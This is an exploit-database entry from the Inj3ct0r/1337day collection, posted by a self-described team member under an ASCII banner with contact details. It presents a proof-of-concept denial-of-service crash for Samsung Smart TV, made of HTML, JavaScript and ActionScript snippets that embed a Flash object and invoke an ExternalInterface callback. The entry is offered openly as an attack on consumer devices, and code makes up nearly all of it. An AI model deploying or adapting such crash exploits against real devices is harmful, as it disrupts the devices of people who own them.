1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' \ __ /'__`\ /\ \__ /'__`\ 0 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1 1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1 1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0 0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1 1 \ \____/ >> Exploit database separated by exploit 0 0 \/___/ type (local, remote, DoS, etc.) 1 1 1 0 [x] Official Website: http://www.1337day.com 0 1 [x] Support E-mail : mr.inj3ct0r[at]gmail[dot]com 1 0 0 1 ========================================== 1 0 I'm Taurus Omar Member From Inj3ct0r TEAM 1 1 ========================================== 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-1 | | | Samsung Smart Tv - External Interface Crash Poc | -------------------------------------------------------------------------- +----------------| ABOUT ME |--------------------+ NAME: TAURUS OMAR - HOME: ACCESOILEGAL.BLOGSPOT.COM - TWITTER: @taurusomar_ - E-MAIL: omar-taurus[at]dragonsecurity[dot]org - E-MAIL: omar-taurus[at]live[dot]com - PWNED: #ZUUU - +------------------------------------------------+ # Exploit Title: Samsung Smart Tv - External Interface Crash Poc # Vendor Name: Samsung # Url Vendor: http://wwww.samsung.com/ # Category:: Doc/Pocs # Tested on: Android # Type: Hardware - Samsung Smart Tv # Info: This Poc Using Modules Flash Player <!-- HTML --> <div style="position:absolute;top:0px;"> <object type="application/x-shockwave-flash" width="20" height="20" id="cheersfx" align="middle"> <param name="movie" value="resource/flash/cheer.swf" /> <param name="quality" value="high" /> <param name="bgcolor" value="#001b49" /> <param name='wmode' value='transparent'> </object> </div> if(player.init()){ audio.init(); cheerPlayer = window["cheersfx"]; } enter:function(){ cheerPlayer.playFlashSoundEffect(); }, import flash.external.ExternalInterface; stage.align=StageAlign.TOP_LEFT; stage.scaleMode=StageScaleMode.NO_SCALE; stop(); ExternalInterface.addCallback("playFlashSoundEffect", playSoundEffect); function playSoundEffect():void { this.gotoAndPlay(2); }